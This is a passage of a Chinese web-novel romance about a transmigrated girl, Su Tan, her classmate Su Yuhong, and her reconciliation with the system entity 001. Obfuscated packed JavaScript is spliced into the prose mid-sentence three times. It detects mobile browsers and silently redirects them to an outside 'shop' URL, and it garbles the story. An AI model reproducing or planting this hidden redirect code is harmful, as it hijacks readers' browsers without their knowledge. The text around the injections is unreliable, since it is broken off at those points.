时间在步入高三后仿佛被按上加速器,一晃眼,期中考试都已经结束。 第一次月考完,苏雨虹的成绩虽然有进步,但不多,仅仅够到年级一百的边缘。 期中考试完,一切都不一样了。教学楼前的排名红榜上,多了一个陌生的脸庞和人名。 苏雨虹说到做到,真的一跃进到了年级前二十,考到了文科第十五名。 没几天,全年级都知道这学期新来的转校生,是个学霸。一时之间,暗暗带动了不少人卯足了劲地更加努力学习,觉得自己也一定可以做到。 晚上,苏雨虹回到寝室,像往常一样坐到床上继续学习。 周茉心思重重地在床边磨蹭了好一会,才鼓起勇气走上前:“苏雨虹,我有事对你说……你来阳台一下。” 苏雨虹还未从手里的习题册里回神,有些茫然地看了周茉一会,跟着她去了阳台。 周茉绞着手指,小幅度地来回踱步,半天也没开口。 “到底怎么了?”苏雨虹忍不住问。 “没什么……就是、那个,诶呀,”周茉停下来,避开她的目光,飞快小声道,“对不起。” “你说什么?” 苏雨虹没听清,稍稍侧着脑袋,试图再听一遍。 周茉脸颊滚烫,心里庆幸,幸好外面黑,她瞧不见自己脸红。 “我说,对不起!是我赌输了!我为之前说过你的话道歉!”周茉提高音量,卯了出去,“对不起!我以后不会在背后再议论你了!” 苏雨虹呆了几秒,终于想起两个月前发生的那件事,平淡道:“哦,我知道了。” 说完,便进了屋里,继续写题。 周茉愣在原地。知道了……是什么意思?到底是原谅了还是没原谅?苏雨虹明明赢了,看起来怎么一点也不高兴? 她可是费了莫大的勇气才敢道歉,却没得到任何回应。就像一个充满了气的气球突然被戳破了口,气一股脑全泄掉,周茉空落落地拿上毛巾,钻进了洗漱室。 等到她出来时,寝室里空无一人人。 周茉看了一圈,突然有点想哭。她瘫倒床上,把头埋进枕头,默默流了一挥泪,伸手去摸枕边的卫生纸。 结果手指碰到了一个硬物。 周茉把眼泪在枕头上蹭干,拿起陌生的硬物——是一个洗干净的红润饱满的大苹果。 苹果? 她抬头看向苏雨虹的床底,那有一袋新鲜的苹果。她还记得,是苏雨虹这星期刚从家里带过来的。 周茉啃了一口苹果,才想起来自己已经刷过牙了。她忍不住笑出声,笑着笑着,又哭了起来。 眼泪流到苹果上,又甜又咸的,周茉还是坚持把它吃完了。 * 几天后,苏昙在食堂吃完晚饭,回来的路上,遇到了苏雨虹。 “夏汀舟,你能跟我来一下吗?” “好啊。” 苏昙跟在苏雨虹身后,逐渐发现她要去的地方有些眼熟,心里隐约生出预感。 “你不会是要……带我去办公楼顶楼吧?” “你怎么知道?”苏雨虹笑道,“我有几个好消息想给你说。” 苏昙仔仔细细把她从头到脚瞧了几遍,确定苏雨虹此时的状态正常,应该不会莫名崩溃,才放心地跟她去了。 办公楼的位置处于学校的中心,站在楼顶,整个校园的景色都收入眼中。苏雨虹把双臂搁在栏杆上,缓缓说道:“今天——” “?”她刚说了两个字,就被苏昙拉远。 苏昙谨慎地指了指高空:“离远一些,安全。” “好的。”苏雨虹配合地往后退了几步,继续刚才的说道,“今天学校的助学金发了,我下学期的学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818783|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费不用发愁了,余下的钱还能存起来。” “太好了,恭喜你啊!” 苏雨虹同样笑得灿烂:“还有,程微雪帮我在艺术团找的勤工俭学的工资也发了,好几百呢。我来找你,是想请你趁这周末带我去市里的商场转转,眼看马上就要过冬了,我想给我妈买一件棉袄,她都不怎么给自己买新衣服。” “好啊。但我只去过市中心的百货大楼,也就对那了解一点,行吗?” “没问题,你看什么时候见面比较合适?” 苏昙想了想:“这周六放学吧,咱们下课之后直接过去,你买完之后还能直接回家,不会耽误时间。” “那就这么定了!”苏雨虹挽好被风吹散的发丝,“楼上风大,我们回班吧,马上该晚读了。” “嗯。”苏昙走在她后面,看着她的背影,脑海里回忆起梦里的情景。 到现在,与苏雨虹有关的场景都已经出现,应该不会再有什么其他的变故了。那是不是意味着……她就快能离开了? 苏昙好久没有过这么松快的感觉了,听风都像在笑。 苏雨虹边走边和苏昙闲聊:“如果说,我生命里会遇到贵人,一定是你。真的不敢想,要是我没在暑假遇到你,没能借来钱给我妈妈治病,现在的我,能不能在学校里好好读书都说不准。” “以后只要你有需要,我一定尽全力帮你。”苏雨虹又补充,“但我觉得,你的未来一定很顺遂幸福。你要是认我这个朋友,我就一定真心对待。” 苏昙摇摇头。 苏雨虹神色微滞:“你……” “我的意思是,”苏昙轻轻握住她的手,“就算我当时没有帮你,你也一样会认真对待学业,不会让信任你的人失望。比如说,田阿姨,再比如说,我。” 苏雨虹眼眶湿润,忍不住拥抱了苏昙:“谢谢你……” “但我还有一个问题,想问你。” 这个问题,苏昙早就想问了,但一直犹豫不决,直到现在,她还是决定说出来。 苏雨虹松开苏昙,认真地看着她:“什么问题?” “如果你知道未来你会因为一些意外……死亡,那你会后悔曾经做过的决定吗?” “不会。” 苏雨虹答得很干脆。 “为什么?” “因为当下的每一个时刻,我都认真对待了。” 苏昙一时不知该怎么回答。这的确很符合苏雨虹会说的话。 她想了想,又问:“那如果还有重生的机会,你会选择再活一次吗?” 这一次,苏雨虹想了很长时间。 直到两人快走到班级门口,苏雨虹才开口:“这种问题太沉重,我想不到未来的我会怎么选择。在我看来,死亡并不可怕,但要是有了执念,牵挂的人也好、不能割舍的物也好,那时候,无论如何,也都会想再回来看一眼的吧。” “……嗯,你说得对。” 苏昙无可反驳。换做是她,恐怕也不能做到洒脱地说走就走。 这一刻,她心里似乎没那么埋怨将她拉到里世界的咸鱼系统了——她们都是一样的,一样地渴望活着,渴望好好生活。 谁又有错呢。 苏雨虹神色明媚,眼里透着坚定:“就这样先走着吧,毕竟只有当下才是真正属于你的。我只想做自己现在不会后悔的事,以后的事,以后再说吧!” 苏昙注视着她的眼睛,似乎能穿过那一方小小的黑色瞳孔,触碰到最深处的一团燃烧的火。 96. 世界四(29) 周六下午放学,苏昙便和苏雨虹一起坐公交直奔百货大楼。 “女装和男装都在三楼。”苏昙站在在扶梯上对她说,“你是想先逛逛其他的,还是直接去买衣服?” 苏雨虹新奇地打量着商场里的环境:“直接去吧。” 苏昙和她来到女装区,一家家店铺把当季的棉服毛衣都摆在了外面,琳琅满目,不一会就挑花了眼。 其中一家店的导购热情地迎上来:“两位小美女是想买什么衣服?给自己的还是给朋友家人的?可以来我们店里看看,种类很多的!” 苏雨虹早就看到了她们家店放在外面的衣服上的吊牌的价格,直逼四位数。她连忙无措地摆摆手:“我们就看看,看看。” 导购脸上浮出一丝不易察觉的不耐烦,带着询问的意味,看向了另一旁的苏昙。 苏昙对她礼貌地笑笑,拉着苏雨虹走了。 “咱们直接离开……真的好吗?” 苏雨虹担心道。 “这有什么。”苏昙不甚在意,“就算你不买,也会有人买。她们家的价格就不是咱们能承受的起的,何必浪费这个时间。” “……” 好一会,苏昙都没有听到苏雨虹说话。她扭头去看,对上苏雨虹欲言又止的眼神。 苏昙幡然醒悟,以她现在的身份,根本没有立场说出最后那句话,听起来不免让人多想。 “我的意思是,”她飞快解释,“那件衣服太贵了,不在咱们此行的预算中。我记得前面还有几家物美价廉的,走吧,我们去看看,肯定有合适的。” 苏雨虹浅笑:“我没有多想。我只是觉得,你和我以前想象中的富家小姐一点也不一样。我感觉你身上特别有生活气息,没什么金钱势力的味道。我还以为,像你们这样的家庭条件,都是看中什么就直接拿下了,根本不会看价钱。” 苏昙干笑两声,她身上哪是没金钱的味道,她压根没钱好吗。 “我们快走吧,再晚的话你回家该不方便了。”她催促苏雨虹道。 正如苏昙所说,她们左拐右绕,到了前面的几家店,价格就合适得多。 好的棉服本来就不便宜,再加上商场里竞争激烈,挑到最后,苏雨虹还是选了一件两百多的棉袄。付完钱,她看了看手机里的余额,勤工俭学的工资一下子少了大半。 但她一点也不后悔,反而很高兴。 苏雨虹提着包装好的袋子,对苏昙说道:“我们回去吧。” “……行是行,”苏昙面露难色,“就是我刚才去附近看了一下,认不出我们现在在哪了。外面我还认路,商场里面绕来绕去,我就不行了。” 苏雨虹无奈道:“真不巧,我和你一样,也是路痴。除了回家的路记得最熟,其余的都是靠导航。” 她和苏昙相视一笑,默契道:“问路吧。” 苏昙走到一旁的导购柜台,得知下楼的电梯得往后走,再向右转,接着直行一段路才能到。 两人按导购的指示,路过了男装区。 “哎,小美女!” 苏昙听一个人在背后喊道,好像是在叫她们。 “你是?”她转过身问。 穿着工作服的年轻女性走上前说道:“你忘了,去年春节,你还在我们家店买衣服来着!” 导购小姐又笑着小声强调道:“给你的男性朋友。” 苏昙瞬间慌乱地移开了视线,冷不防看到对面男装店里的试衣间,又想起在里面发生的暧昧事情,心里忍不住涌起一阵粗砾的苦涩。 “都是以前的事了,没想到你还记得这么清楚。”她压下那一点酸涩,重新看向导购,轻松道,“不过你们家的衣服质量挺好的,下次有机会,还来你们这家。” “嗐,干我们这行的,对你们这种又漂亮性格又好的顾客记得最清了!”导购爽快地说,“放心,到时候来肯定给你们打折!” “没问题。” 苏昙随便聊了两句,和苏雨虹离开了男装区。 一路上,苏昙都心不在焉的,似乎经过的每一段路,都能看到那个人的影子。 没走多远,苏雨虹终于忍不住好奇,低声问道:“那个姐姐说的男性朋友……” 苏昙回过神,默默在心里叹了一口气,不过也没什么不能说的。 “是我喜欢过的一个男生。”她坦然道。 苏雨虹敏锐地捕捉到关键词:“那你们现在……” “我和他甚至都没有在一起过,哪来什么现在。”苏昙自嘲地笑了笑,“是我亲手把他推开的。我只求他别恨我,其他的,就不是我能奢望的了。” “原来是这样啊。”苏雨虹已经出了商场大门,她停下脚步,认真地看着苏昙道,“虽然我没谈过恋爱,但我知道,无论是在亲情还是爱情里,最难的就是直面自己的内心。这种时候,你得多问问自己,到底想要什么样的结果。” “也许,你自以为的对他好,其实恰恰最伤人心。也许,你担心的最坏的结局,在他看来,也并不是毫无转机……我没见过他,所以只能凭我感受到的说两句,你别生气啊。” 苏昙:“……” 她下意识想要避开苏雨虹的目光。 连一个才出现在她身边几个月的高中生都能看清她的内心,为什么她自己却看不透? 难道她的选择,真的错了吗? “还真是当局者迷,旁观者清。”苏昙心里无措,表面却风轻云淡,还能对苏雨虹开玩笑道,“我宣布,以后你就是我的军师了。” 苏雨虹笑着摇摇头:“算了算了,每个人面临的感情困境都不一样,最了解你的人,只有你自己。” 她看了眼手机:“我拼的车快到了,你也回去吧,等我到家了给你发消息。晚上风又大又冷,别再冻感冒了。” “那好,你路上注意安全。” 苏昙心思已经不在外面,她告别了苏雨虹,走到路对面的公交站牌等车。 * 转眼就到腊月,苏昙寒假在家,透过窗看到外面飘起零星雪花,才恍然,又一年除夕将到了。 世界另一边,虚空之境里依旧繁忙,没有一点休闲喜庆的气氛。不是这个原主闹着要出去,就是这个宿主不满意里世界的生活,变着法地折腾子系统。 今天一天,131注意到001格外不在状态,从早上接水的时候。没留神滚烫的热水溢出了杯子,再到晚上非要拉着他去食堂吃饭,吃了两口又不吃了,种种件件,都不正常。 他掰扯手指算了好一会日子,终于惊觉,今天晚上可是苏昙那个世界的除夕夜。 131抬眼看了看坐在他对面,安静归类档案的001,装腔作势地清了清嗓。 他真是为兄弟的爱情操碎了心。 “喉咙不舒服就吃药,你把嗓子咳出来都没用。” 001头也不抬地说道,没有停下键盘上飞舞的指尖。 “你知道今天是什么日子吗?”131无语。 “上交宿主信息档案的日子。” “你再想想?” 001顿了顿,似乎真的在认真思考:“……你出生的日子?” 131翻白眼:“我谢谢您,还记得小弟的生日。” “生日快乐。有什么想要的吗,我送你。” 131急了:“我是这个意思吗?001,你别忘了去年的这个时候你在哪。” “我知道你想说什么……但她自己说的,不希望我再纠缠她。”001平静道,“我们现在这样,才是最好的状态。” “呵呵,你就嘴硬吧。” 001依旧淡定,看着131道:“今天是她们那的除夕。可那是她的新年,不是我的。虚空之境没有新年,你也赶紧去工作吧,别操心我的感情生活了。” 他把注意力拉回电脑屏幕,看到上面的内容,愣了两秒,飞快删掉了刚刚无意识打出的那句,“苏昙,新年快乐”。 131对此毫不知情,还在气急败坏地骂:“不是我说,你就是活该没女朋友!” 边骂边走出了工作间,换上疲惫的笑容,招呼新来的宿主去了。 * 初一早晨,苏昙是被陈玫从温暖的被窝里硬拽出来的。 陈玫站在床边语重心长地说道:“哪有新年第一天就睡懒觉的,你看你一天天在学校学的,身上一点生气都没了!整天闷在家里算怎么回事?时间一长不管身体还是心理都会生病的,你看看姥姥和老爷,一天到晚都不着家,不是去逛街就是去跳广场舞,年轻得很!” 苏昙依旧紧闭眼睛,那是她最后的倔强。 “还有你弟弟,也知道新年第一天是要出去活动的,大早上就把自己捯饬得帅帅的,说要好好陪我。你再看看你,眼屎都还没扣呢!”陈玫嫌弃地看了床上的人一眼,“真不是我说——” “好好好!我陪您,您今天想去哪,我奉陪到底,行吗?”苏昙任命地从床上挣扎起来,幽怨地看着陈玫,抓了抓炸毛的头发,走之前不忘向陈玫强调道,“那不是眼屎,是我投资的小黄金!” “你爱是什么金是什么金,快点去刷牙洗脸!”陈玫把她推出了房间。 …… 苏昙吃完早饭,在手机上收到了一条来自网上银行的信息,显示卡里多了十万块钱。 紧接着,夏恒的消息蹦了出来:“压岁钱,新年快乐。” 苏昙礼貌地回复两个字,“谢谢”,没忘记加上灵魂句号。虽然她跟夏恒过不去,但不能和钱过不去啊! 陈玫在玄关处换鞋,抬头看见苏昙还没动作:“愣着干什么,出发了。” “这就来。”苏昙关掉手机,跟着陈玫和夏迁舟上了车。 陈玫开车驾驶,要求夏迁舟和苏昙通通坐到后座,说是不要打扰她驾驶。 发车前,夏迁舟特意叮嘱:“妈,别着急,慢慢来,一定记清手刹,看清车道。” “我都持证十几年了,还用你说。”陈玫紧紧握着方向盘反驳道。 万幸,车子走了一会,还算平稳。 苏昙看着车窗外景色,问道:“等会准备先去哪?” 夏迁舟:“咱们市西边山上有一座寺庙,叫……” 苏昙心里微动:“夜阑寺。” “你怎么知道,姐?”夏迁舟惊讶,“咱一会先去那烧香。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏昙伫在原地,闭上了眼,静静地感受风吹过她的脸颊,吹过大树,吹得枝条上的木牌“铛铛”响;她默默地倾听虔诚许愿之人的低声呢喃,“得偿所愿”、“永远相爱”、“健康平安”、“幸福无虞”……;她感受远在咫尺的云朵来了又去,感受片片雪花落在发梢,覆满肩头。 她就这样感受着听着叩问着,终于听到心里的那个声音,破开了阴湿厚重的泥土,卯着劲冲出了心房,清晰而嘹亮—— 我喜欢他。 我一直都喜欢他。 从来没有变过。苏昙,别再欺骗自己,别再逃避,也别做懦夫了。 苏昙睁开眼,看到了一个模糊不清的世界。 眼泪很快被冷气蒸发,仿佛一切都从未那么明亮潮湿过,亦如她此刻的心情。 苏昙快步回到老妪身边,请求道:“我想再问一下,您知道去年的东西被收起来放到哪了吗……我想把我写的那个木牌拿回去。” 老妪坐在椅子上没有动:“恐怕不好找啊。再说,那木牌被传过愿,已经没什么用了,你非要找它干什么?” 苏昙语气有些着急,态度诚恳:“那关系到一个对我很重要的人,和他有关的任何东西,我都想好好留在身边。求求您带我去找找吧,哪怕要出钱买回来也可以!” 老妪神情微动,还是犹豫不决:“这……你等我去联系一下负责人问问。” “好,太感谢您了!” 苏昙燃起希望,耐心地等在一旁。 老妪打开手机,拨通了一个号码,大声喊道:“喂?是小王吗?” 不料开的竟是免提,那头的声音传了出来:“是我啊,蒋奶奶!怎么了?” “南边仓库的门的钥匙在你那吗?我用一下,带个姑娘找个东西,用完就给你送过去!” “行啊,等我登记一下,你现在带着她过来拿吧。”叫小王的人爽快答应道。 老妪挂了电话,站起来对苏昙说:“走吧。钱就不要了,到时候记得来还愿就行。” “嗯。” 苏昙乖乖跟在她后面。 五分钟后,老妪拿到钥匙,带着苏昙来到一个上了锁的屋子。 她打开锁,提醒道:“那些木牌和锦囊都是按年份分好的,你只用找去年的那个箱子就行,树上的东西应该都在里面。” “好。”苏昙一眼就看到了要找的箱子。 那箱子是足足有一人高的塑料箱,苏昙走到箱子旁,按照顺序把木牌拿了出来,一个一个地看,生怕漏掉她的那个。 找到一半,她就看到了自己的木牌。上面的字因为风吹日晒,已经有些模糊掉色,但仍能看出形状。 “找到了找到了!”苏昙把木牌收起来放好,将腾到一边的其他牌子重新放回去,走出了屋子。 她再次躬身谢道:“谢谢您啊,奶奶。” “找到就行。”老妪见应该没什么问题,挥手让苏昙离开了。 老妪锁好门,回味了会小姑娘走的时候轻松的背影,忍不住咋舌叹道,“现在的小年轻,心思是真难猜啊……” 97. 虚空之境(一) 上午陈玫去寺庙上完香,下午在公园打卡拍照,玩了个尽兴,晚上又去商场海吃了一顿,才舍得带两个孩子回家休息。 苏昙见识到了中年女人可怕的精力,躺到床上时,双腿已经疲软得没有一点劲了。没几秒,她便昏睡过去。 …… “这是?” 苏昙睁开眼,发现来到了一片空地,四处环山,周围散落巨石,阴风阵阵,吹得人后背发凉。 她低头看了看身上穿的衣服,不知什么时候成了一件鹅黄色的仙袍——她又穿到了苏檀身上。 祂又来找她了。 苏昙压下心里的恐惧,仔细地瞧了一遍四周环境,主神把她带到了冥谷的阵眼。 “还不出来吗?”苏昙朝虚空问道,“这次又想让我做什么?” “怎么比我还着急?” 主神现身,依旧是莲的形态,饶有兴趣地说。 “如果我记得没错,就是在这,我亲手……杀死了莲。也就是你的分身。”苏昙眯起眼睛,“你就没想过,万一因为你的插手,里世界的秩序发生混乱,报应加倍反噬到你身上吗?” “如果真的发生混乱,先遭殃的也是你们这些不自量力的宿主和原主。”主神不屑,“我身体里力量强大,区区死一个分身,不足为惧。倒是你,你不怕死了?” “真死了又怎么样?” “你会魂飞魄散。” “你怎么知道?你见到过?” 苏昙紧紧地盯着主神脸上的两个空洞的眼眶,似乎要抓住祂一闪而过的任何情绪。 “当然。” 可惜主神答得坦然自若,苏昙什么也没抓到。 她浅浅一笑:“在我为你做事之前,咱们先玩个小游戏吧。” 主神顿了顿:“给我一个理由。” “因为,你刚才犹豫了。” “……” “噗,逗你的,”苏昙恢复正经,“理由就是,任何没有目的的交换都是耍流氓。上一次,我为了你痛得死去活来。这一次,你满足我一个无关紧要的小愿望怎么了?我也好更加卖力地为你做事啊。” “那你先说,什么游戏。” “你问我答。” 苏昙看向远处,往后退了两步,和主神保持在合适的距离。 她道:“我问你三个问题,你可以选择不回答,也可以只说是或不是,还可以把问题抛回来,直到问完三个问题为止。” 主神没有说话。苏昙看着祂,突然生出一种祂在原地睡着的错觉,差点笑出声。 主神双手抱臂,等待苏昙发问:“……可以,开始吧。” “我的第一个问题,”她缓缓开口,“当初谷晨经历了那么多里世界,时间线是不是也出过问题?” “是。”主神下意识回答,说完反应过来不对劲,身躯一震,“你怎么会知道谷晨?” 苏昙耸肩:“之前在虚空之境乱逛,无意间在档案室里看到了他的资料。我还以为我是唯一一个过了这么多里世界的宿主,没想到前面还有一个他。” 她收敛神色,提醒道:“好了,现在我们都已经各自问完、回答完了第一个问题,该我接着问了。” “你诓我?!”主神吃瘪,却只能按捺火气接着听。 “第二个问题。你是不是想用一样的手段,像解决掉谷晨那样,解决掉我?” 这次主神小心许多,停了足足十几秒。 “是,也不是。你可比他麻烦多了。”祂道,“该我问了……你和001是什么关系?” 苏昙的双手藏在宽大的衣袖里,此刻十指蜷缩起来,手心渐渐发凉。 “宿主和子系统的关系。”她看向主神,淡道,“还是说,你以为我们之间有什么,那你可想错了。” “最好别有。”主神话里带上隐隐警告,“奉劝你一句,离001远点,他和你永远不会是一个世界的。” “那你和他又是什么关系?我猜,肯定不是上级和下级那么简单。”苏昙反问,“这是我的最后一个问题。” “这个……你没必要知道。”主神轻笑,“换我了。你是不是,很想杀掉我?” “不。” 苏昙摇头,又往后退了几步,看起来她才是那个害怕被杀的人。 “你还真是个与众不同的宿主,怪不得001会对你这么上心。”主神叹道。 “被你折磨这么多次,我好像有点懂为什么了。你想让我一遍又一遍经历之前一模一样的里世界的关键节点,来矫正那些废弃时间线出现的问题,使它们的进度保持一致,才能使原主重生在的那条线保持稳定,是不是?” 主神无可反驳:“没错。” “但你其实并不抱什么希望,”苏昙说,“因为你不止这一个目的。除了矫正时间线,你还想摧残我的神智,让我彻底疯掉,就像谷晨那样。” 她轻挑眉,尾音微微上扬,听起来倒真有些疯癫之感。 “……你猜得太多了。”主神话里流露不耐,把手探向口袋,要拿珠子。 苏昙依旧旁若无人道:“不瞒你说,那次被你从梦里放出来,我发了一场高烧,恍恍惚惚地真的以为自己已经死了。但我现在,有点怀疑你所告诉我的了。” 主神猛地上前一步,逼得苏昙再次后退。祂狠戾地问:“我告诉过你什么?” “告诉我……我死后会魂飞魄散。”苏昙露出疲惫而释然的笑,喃喃道,像是在说给自己听,“可是……真的会吗?” 她张开双臂,闭上了眼睛,毫不犹豫地向后倾倒,生生将后脑磕到了早就看中的一块尖锐巨石上。 巨石的尖锐处瞬间被血染红,顺着凹陷淌到苏昙身下。 主神没来得及拦住,暴怒地睁大了空洞的眼睛。 “狡猾至极!”祂破口骂道,大手一挥,离开了梦境。 虚空之境,001本在小憩,突然一阵窒息,强迫他喘着大气惊醒。心中如有千斤重锤牵扯,把胃砸得生疼,他惊慌失措地按住了腕间手环。 * 苏昙在撞死之前,也不确定她会不会真的如主神说的那样,魂飞魄散。 她在赌一个可能。 一个梦境与现实定会有所区别的可能。虽然流血很疼,但与其被主神困到梦里不停地被折磨,不如莽一把。 苏昙蓦地睁开眼,如愿以偿地看到了熟悉的天花板。 她真的回来了!离开了第四个里世界,回到了虚空之境! 她认出,自己现在正在001工作间里面的隔间里。那有一张躺椅,从第二个里世界结束之后,她每次回来,都会出现在这。 后脑勺还在隐隐作痛,苏昙安慰道:“那只是梦里的感受太真实,你并没有真的受伤,缓一缓就好了。嗯,再休息一会吧,没事的。” 她心里后怕未平,静静地躺在长椅上回神。然而,还没安静两秒,隔间的门就被猛地推开。 “不要命了,苏昙?!” 这声音突兀沙哑,将她吓得从椅子上弹下起来。 001嘴唇苍白,眼球因为充血微微发红,在看到她安然无恙后,紧绷地双肩咻地放松了,整个人都垮了下来。 “你……” 苏昙怎么也没想到,和他的见面会这么仓促,她还没有准备好要怎么面对他,他就先出现了。 一时间,她又高兴,又下意识想回避,最后表现出来的,竟是往后退了一大步,像是十分抗拒。 001呼吸一颤,大步冲到苏昙身边,红着眼盯着她,百般忍耐,终是忍下了想把人拥进怀里的冲动。 他喉结微颤,像是哽咽了许久:“……你还真是和以前一样疯。” 苏昙不难猜到他情绪为何会这么激动。她不敢和001对视,低声客气地解释道:“主神想把我困到梦里面,我抓到了祂话里的遮掩,就想着赌一把,万一没事呢。总比在里面受他折磨强吧。祂那个变态,我看祂一眼都觉得晦气,还不如早点离开。” 她故作轻松,说着说着,嘴角下撇,委屈得眼圈都红了。 幸好没和001对视。丢死人了。 殊不知,001比她高了快两个头,将眼底的一切都收进了心里。 他心疼得要死,也自责得要死。他以为他这次没能接住她,赶来的路上已经预设了无数种可能,没有一种是能够失去她的。 若是没有亲眼看到苏昙醒过来,恐怕疯的人就是他了。 001仍然无法自控地感到后怕,哪怕心里早就软成了一滩,还忍不住厉声质问:“万一没成功呢,你有想过后果吗?!万一你再也醒不了,万一你死了,你要我怎么办!?” “你那么凶干什么……”苏昙被他吼得头往回缩了缩,更觉得委屈了,吸着鼻子道,“再说,我那时真的没办法了,身上太疼了,主神还一直威胁我,只要能离开,就算后果再坏,我也认了。” “我……”001也意识到自己的反应过大,无措地退了一步,像个犯错的孩子,“对不起,是我没控制好语气。” 情难自抑后,房间里处处弥漫着尴尬的气息,小小的隔间安静下来。 苏昙重新坐到椅子上,冷不防被裤兜里的东西硌住。她摸了一把,是从寺庙里带回来的木牌。 只是该怎么向他开口…… 时隔半年多再次见面,苏昙能明显感觉到,她和001之间多了些距离。这段距离横在中间,让她头一次体会到无所适从。都是她自找的。 苏昙清楚地知道,先放手的人没资格说重新开始。但若是请求原谅呢?会不会有一点点的希望? 她心跳得很快,从眼前的高度看去,只能看到001身着黑裤,笔直修长的双腿站在门口,不知道他此刻在想什么。 “那个,”苏昙清了清嗓,故作自然道,“我大概摸清了主神入梦的频率,这段时间应该不会再来了。” “挺好的。”001盯着门把手,却立刻接上话,憋了半天,又重复道,“挺好的。” 苏昙紧张地搓着手指,看了一眼001:“我想给你说个事。” “什么事?” “就是、那个,”关键时刻,苏昙露了怯。 她咽了一口唾沫,先在心里骂了一句:“苏昙,你真是个胆小鬼!” 她做了几次深呼吸,把兜里的木牌拿出来,向001递过去:“这是我去年在寺庙里写的。是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828350|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个、是一个……和你有关的愿望……想送给你。” 她还是不敢理直气壮地说出来,“和你有关”这四个字说得很轻很轻,心虚极了。 苏昙低着头,看到001的鞋动了,却是在远离,眼看快要退出小隔间。 她顿时着急万分,什么也顾不上,走到他身边,拉住他的袖口,低声道:“那天在公交车上,我为了把你推开,才说了一堆混蛋的气话。我承认,我后悔了,我错了!你能不能……别再不理我了,也别和我绝交,好不好?” “你恨我也行,你骂我也行,但你能不能原谅我,就这一次,好不好?你离开之后,我心里难受得要死,我真的后悔了……我就是个大傻子,一个不知好歹的笨蛋,我连自己的真心都看不透,却还在自以为是教你什么是感情,我就是个蠢蛋!” 苏昙将半年来压在心里的话统统吐出来,反而释然了许多。 她早已泪流满面,一遍遍地恳求:“你能原谅我一下吗……你能原谅我吗……我……我是喜欢你的,我喜欢你,我喜欢你001!我喜欢你,连我自己都不知道,你已经对我那么重要了……你能、别再生我的气了吗……求你了……” 苏昙哭得泣不成声,松开001的衣袖,蹲下来保住双臂,肩头一个劲低抽搐耸动。 可是她等了很久,都没能等来那句“我原谅你了”。 001眼底的神色晦暗不清,他死死地咬着嘴唇,闭上眼遮住了最后一点情绪。 “我早就忘了。别再提了。” 他转身离开,甚至没忘记把门带上。 “001!” 苏昙想抓他,却扑了个空。 她垂着头在原地蹲了好久,自嘲地扯起嘴角,跌坐进躺椅,抬手遮住哭得酸涩的眼睛。 …… 时间一分一秒过去,苏昙想了很多很多,从她刚来到这里,到现在已经历了那么多,早就回不到从前了。 她在心中发誓,无论如何,这次都不会再放手。 如果得不到原谅,就一点一点做给他看。 苏昙整理好心情,搓热手心捂住眼睛,静静缓了一会,让自己看起来没那么糟糕。 做完这些,她挽好头发,推开了门。 “啊——” 苏昙没看清路,差点撞进来人的怀里。她忙刹住脚,和001相视而站。 001神情有些不自然,往后退了一点,把手里的两样东西递给苏昙。 一杯热水和一本册子。 “你……这是什么?” 苏昙迟疑道。她认得水,但没见过另一样东西。 “你要的混沌珠的信息,只有这本册子里有记录。之前一直没找到机会给你。”001目光落到水杯上,“不喝吗,等会凉了。” “……啊?” 苏昙一下子接收到的信息太多,大脑有点没转过来弯,眼睛睁得又大又圆,就是看起来呆呆的。 “喝水。你不渴吗?” 001看着她,自称大傻子的人哭了这么长时间,眼睛都肿了,都不需要补水的么。 苏昙恍惚意识到什么,忙顺驴下坡道:“渴。渴死了!” 她举起杯子仰起头,咕嘟咕嘟一口气把整杯水全部喝光。喝完了水,她才后知后觉地明白001的意思,眼泪又涌了出来。 “那你刚才在隔间里为什么不理我?你不愿意原谅我现在又给我倒、倒水……001,你到底什么意思啊!你觉得捉、捉弄我很好笑吗?” “你明明知道我心里快难受死了,还站在那无动于衷,我真的以为、以为你不会再理我了……呜呜呜,你怎么这么坏啊001……” 苏昙哭得上气不接下气,埋头抵在他胸口,泄恨似的一拳捶在了他肩膀,甭管眼泪鼻涕,全都抹在了他衣服上。 001的确有私心,可若不是这点私心,他怎么能看到苏昙那么在意他的样子?听到她诉说那些真心话?他又怎么能知道,原来她心里还是有他的,好像还……远比他想的要多。 001有一下没一下地抚着苏昙的后背,像是在给她顺毛,软声对她说道:“对不起,真的对不起,下次一定不会了。还有,我原谅你了。那你现在可以原谅我吗?” 苏昙没有抬头,只是等情绪慢慢平静下来,才闷声道:“嗯。” 001偏过头,在她看不见的地方,偷偷扬了一下嘴角。 “那我先走了。”他很快正经道,“你……先好好休息。” “你要去哪?” 苏昙立刻抬头,紧张兮兮地盯着他,生怕人又丢下她跑走,再也不回来了。 “换个衣服,然后工作。”001似是怕她不信,补充道,“就在工位上,你能看到的。” “……哦。” 苏昙把册子抱在胸口,神经紧绷过后,是迟来的困倦。她松开001,打了个哈欠,一头栽倒在躺椅上,久违地安心睡着了。 